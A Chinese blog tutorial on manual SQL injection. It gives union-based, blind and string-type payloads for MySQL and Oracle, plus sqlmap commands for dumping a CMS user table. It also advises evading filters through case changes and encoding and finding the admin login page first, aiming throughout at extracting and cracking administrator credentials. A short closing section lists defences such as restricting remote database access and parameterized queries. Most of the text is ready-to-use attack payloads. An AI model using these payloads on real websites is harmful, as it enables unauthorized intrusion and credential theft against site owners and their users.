sql高级手工注入

非常重要:首先在网站找到管理入口,否则,呵呵就算有用户名和密码,找不到入口,也是白玩。。

注入时,注意通过改变大小写、编码、转换等方式躲过系统检查,顺利执行语句!!!

(一)数字型注入

正常步骤:

1、 判断注入点

在 URL 后加’判断是否存在注入点,数据库报错。

2、 判断字段长度:

利用 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,
也就是最后一个正常页面返回。

3、 判断字段位置回显:

利用 
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 

最后一个数为字段长度,有回显会将相应数字显示出来。假如,3 和 11 显示在页面上了,
即可利用3位置和11位置,显示有用的信息。

4、 判断数据库信息:

利用 
and 1=2 union select 1,2,sql_command, 4,5,6,7,8,9,10,11,12, 13,14,15; 
用 sql 指令替换 sql_command。

Sql_command为以下参数:
			查看 mysql 版本 version()
			查看当前数据库 database()
			查看当前用户 user()

5、 判断 mysql 所有数据库:

利用
and 1=2 union select 1,2,group_concat(convert (SCHEMA_NAME using latin1)),
4,5,6,7,8,9,10,11,12,13,14,15  from information_schema.SCHEMATA

查看 mysql中所有数据库的名称。可知业务数据库为 cms。

6、 判断数据库表:

利用
and  1=2  union  select  1,2,group_concat(conver t(table_name  using latin1)),4,5,6,7,8,9,
10,11,12,13,14,15  from  information_schema.tables  where table_schema=database() 

查看 cms 数据库拥有的所有表。可以发现存放用户信息的表cms_users。

7、 判断数据表的所有列:

利用
and  1=2  union  select  1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,
11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573 
table_name=cms_users

表名需要编码为 16 进制。得到 3 个列:userid,username 和 password

8、 判断管理员账号密码:

利用
and  1=2  union  select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15  from cms.cms_users。

得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e(解密后123456)

9、 登陆后台地址。SQL注入结束。

使用SQLmap注入

判断注入点—>注入类型—>注入数据库—>获取当前数据库—>获取当前数据库中的表格—>获取当前数据库中表格中的关键字段—>获取字段内的内容。
注入结束,获取到cms_users中的userid,username 和 password的内容信息。

盲注

猜表名和用户名密码

第一步-猜表名

and (select count(*) from 表名) >=0
例如 and (select count(*) from admin) >=0 网页返回正常 说明存在admin这个表,返回不正常,接着猜

第二步-猜字段

and (select count(字段名) from猜到的表名)>=0

例如 and (select count (user) from admin ) >=0 网页返回正常  说明存在user这个字段,不正常,继续

第三步-猜字段的位数

and (select top 1 len (字段名) from 表名) >0

例如 and (select top 1 len (user) from admin) >N 返回正常 >N+1 返回错误,即该字段为N+1位了。

第四步 猜字段的Ascii码值

and (select top 1 asc (mid (字段,位数,1)) from 表名) >ascii(1~128)

例如 and (select top 1asc (mid (user,1,1)) from admin) >96 返回正常 97返回错误 
那么这个user表里面的第一个ascii码就是97了 ascii码对应的就是字母a
user字段里面的第一位已经被猜出来了 是a 对应的ascii码是97

接着猜第二位

and (select top 1asc (mid (user,2,1)) from admin) >99 返回正常 100返回错误 ascii码为100
100对应的是字母d

接着猜第三位

and (select top 1asc (mid (user,3,1)) from admin) >108 返回正常 109 返回错误 ascii码为109
109对应的是字母m

接着猜第四位

and (select top 1asc (mid (user,4,1)) from admin) >104 返回正常 105返回错误 ascii码是105
105对应的是字母i

接着猜第五位

and (select top 1asc (mid (user,5,1)) from admin) >109 返回正常 110返回错误 ascii码为110
110对应的字母是n 

Ascii:97 100 109 105 110
对应的字母 :a   d  m  i   n

第五步 猜解pwd字段

and (select top 1 len (pwd) from 表名) >N
user字段猜完了开始猜pwd字段也就是网站后台的密码
and (select top 1 asc (mid (pwd,1,1)) from admin) >ascii(1—128)
and (select top 1 asc (mid (pwd,N,1)) from admin) >ascii(1—128)

和猜user字段里的内容是一样的,把字段替换成pwd ,然后在猜的时候替换要猜解的位数和ascii码。
猜出了用户名和密码的散列值(明文),即可反查密码了。

(二)字符型注入

1、在url后面加’报错

接着用 ' and '1'='1,' and '1'='2判断页面,或者' and 1=1--,' and 1=2--

2、判断数据库类型

利用oracle的系统表,user_tables
' and (select count (*) from user_tables>0

3、获取字段数

' order by 1--,通过变换值,当为9时返回空页面。

4、利用 union select 判断注入类型

' union select null,null,null,null,null,null,null,null from user_tables order by 1 desc,
给null加 ' ',确定为数字型还是字符型,通过判断1,2,7,8 为数值型,3,4,5 为字符型,6 为其他类型(时间类型)。

5、判断各字段在页面中的显示位置

 ' union select 1,2,'3','4','5',null,7,1 from user_tables order by 1 desc --
在页面显示3、5。

6、其他

' and (select count(*) from user_tables)=5--
//可以得知user_tables中含有5张表,可以用大小于号判断。


' and 1=2 union select 1,2,table_name,'4','5',null,7,1 from user_tables
// 获取数据表名
 
 
' and  (select count(*)   from xblouser) >0 ,
//当大于1为假时,确定该表只有1个账号。
 
 
' and  (SELECT  count(*)  FROM USER_TAB_COLUMNS  WHERE
table_name='XBLOUSER' )>0
// 列举字段数,发现大于3为假,证明字段数为2。
 
 
' and 1=2  union select 1,2,COLUMN_NAME,'4','5',null,7,1 from (select * from (SELECT
 COLUMN_NAME FROM USER_TAB_COLUMNS  WHERE table_name='XBLOUSER'  order by 1 asc )
 WHERE  ROWNUM<=3 ORDER BY 1 DESC) WHERE ROWNUM<=1 --
 
 
' and 1=2 union select 1,2,XBLOUSERNAME,'4',xblopassword,null,7,1 from XBLOUSER
 //获取管理员用户名和密码信息

(三)利用SqlMap注入

1.访问:http://IP 任意点击一条文章得到连接地址

2.在命令行中,输入

sqlmap.py –u http://IP/cms/show.php?id=33  //会输出MySql的注入点信息。

3.在命令行中,输入

sqlmap.py –u http://IP/cms/show.php?id=33 --dbs  //输出MySql中的数据库名称
sqlmap.py –u http://IP/cms/show.php?id=33 -–tables –D  “cms_users”  //输出cms的列名称
sqlmap.py  -u http://192.168.16.181/cms/show.php?id=33 --columns -T "cms_users" -D "cms"
 //输出表的列名称

4.在命令行中,输入

sqlmap.py  -u http://192.168.16.181/cms/show.php?id=33  --dump -C "password,userid,username" -T "cms_users" -D "cms"  //对cms库中的表cms_users中的所有列进行破解

sqlmap.py –u http://IP/cms/show.php?id=33 --dump –D “cms”   //输出MySql中所有数据库的名称及其相关信息,并且会对管理员账户进行破解尝试。

(四)SQL注入的防护

1、数据库禁止远程访问
(1)将phpMyAdmin设置为禁止远程访问

   <Directory "D:/.../phpmyadmin3.4.10.1/">
        Options Indexes FollowSymLinks MultiViews
        AllowOverride all
        Order Deny,Allow
        Deny from all
        Allow from 127.0.0.1            //指定仅允许本机访问
    </Directory>

(2)设置数据库禁止远程访问(有些版本不支持)

use mysql;
update user set host = "localhost" where user = "root" and host = "%";  //仅允许root本机登录
update user set host = "localhost" where user = "%";    //不允许任何用户远程登录
flush privileges;    //配置立即生效

2、安装网站防护安全狗

安装完毕,并设置好相关的参数,运行之后,即可在右下角托盘中看到运行中的安全狗。在安全狗图标上点击右键,即可看到有网站安全防护功能。

3、其他方法

1、限制访客权限,过滤union、and等敏感命令;
2、参数化查询;
3、变异语句的发现;利用/*XXX*/代替空格,定义无用变量等
4、白名单机制。
  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值